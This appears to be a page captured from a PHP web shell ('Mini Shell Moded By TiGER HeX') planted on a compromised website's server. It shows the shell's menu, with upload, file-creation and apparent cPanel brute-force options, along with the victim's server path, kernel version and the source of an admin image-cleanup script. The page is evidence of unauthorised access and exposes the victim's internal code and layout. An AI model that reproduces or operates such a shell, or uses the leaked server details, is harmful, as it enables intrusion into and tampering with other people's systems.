Mini Shell Moded By TiGER HeX
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
mnt
/
volume_sfo2_01
/
50mmla
/
admin
/
Linux midnightridazz 4.19.0-11-cloud-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
Upload File :
New :
File
Dir
/mnt/volume_sfo2_01/50mmla/admin/test.php
<?php include_once('../includes/static/configure.php'); include_once('../includes/static/util.php'); include_once('../includes/static/dbcon.php'); include_once('includes/static/util.php'); /* * stories complte * tags complete * gallery small complete * profiles complete * * @todo gallery large * @todo forums large * @todo forums small * * 81815 (uiserver):u52674903:~/50mmlosangeles/public_html/images/gallery > ls ~/images/gallery/large/ -1 | wc -l 81479 81480 - archive directory = 81815 */ /* $dirs_to_move = array(); foreach($paths_to_search as $path) { $arichve_dir = ROOT_DIR."/50mmlosangeles/public_html".$path; $prod_path = ROOT_DIR.$path; $archive_directory_command = "ls $arichve_dir. -1 | wc -l"; $prod_directory_command = "ls $prod_path -1 | wc -l"; $num_prod = exec($prod_directory_command); $num_archive = exec($archive_directory_command); echo "\n\n"; echo "paths $arichve_dir and $prod_path\n"; $diff = (integer)$num_archive - (integer)$num_prod; echo "num missing from prod = ".$diff." - "; echo "prod directory = ".$num_prod." - "; echo "archive directory = $num_archive\n"; if((integer)$num_archive > (integer)$num_prod) { array_push($dirs_to_move, $arichve_dir); } } $paths_to_search = array( STORY_LIMG_DIR, STORY_SIMG_DIR, BOOK_LIMG_DIR, BOOK_SIMG_DIR, GALLERY_LIMG_DIR, GALLERY_SIMG_DIR, PROFILE_IMG_DIR, FORUM_LIMG_DIR, FORUM_SIMG_DIR ); */ $tables_props = array( array('table'=>'50mm_forum_replies', 'column'=>'image', 'paths'=>array(FORUM_LIMG_DIR, FORUM_SIMG_DIR)), array('table'=>'50mm_forum_topics', 'column'=>'image', 'paths'=>array(FORUM_LIMG_DIR, FORUM_SIMG_DIR)), array('table'=>'50mm_tags', 'column'=>'tag_image', 'paths'=>array(BOOK_LIMG_DIR, BOOK_SIMG_DIR)), array('table'=>'50mm_users', 'column'=>'image', 'paths'=>array(PROFILE_IMG_DIR)) ); $db = new sql_db(); if(!$db->db_connect_id){die("Unable to connect to sql server");} $files_to_keep = array(); foreach ($tables_props as $p) { $table = $p['table']; $column = $p['column']; $paths_to_search = $p['paths']; $sql="SELECT * FROM $table"; if( !($result = $db->sql_query($sql)) ) { $sql_error = $db->sql_error(); die($sql_error['message']); } $i = 0; $db_imgs = array(); while($row = $db->sql_fetchrow($result)) { foreach($paths_to_search as $path) { $i++; echo $i."\n"; // array_push($db_imgs, ROOT_DIR.$path.$row[$column]); $db_imgs[] = ROOT_DIR.$path.$row[$column]; } } print_r($i); $disk_imgs = array(); foreach($paths_to_search as $path) { $files = dir_ls(ROOT_DIR.$path); foreach($files as $file) { array_push($disk_imgs, ROOT_DIR.$path.$file); } } $del_imgs = array_diff($disk_imgs, $db_imgs); echo "working on $table\n"; echo "db = ".count($db_imgs)." disk = ".count($disk_imgs)." diff = ".count($del_imgs)."\n"; print_r($del_imgs); foreach($del_imgs as $img) { //unlink($img); echo "removing file $img\n"; } echo "why"; }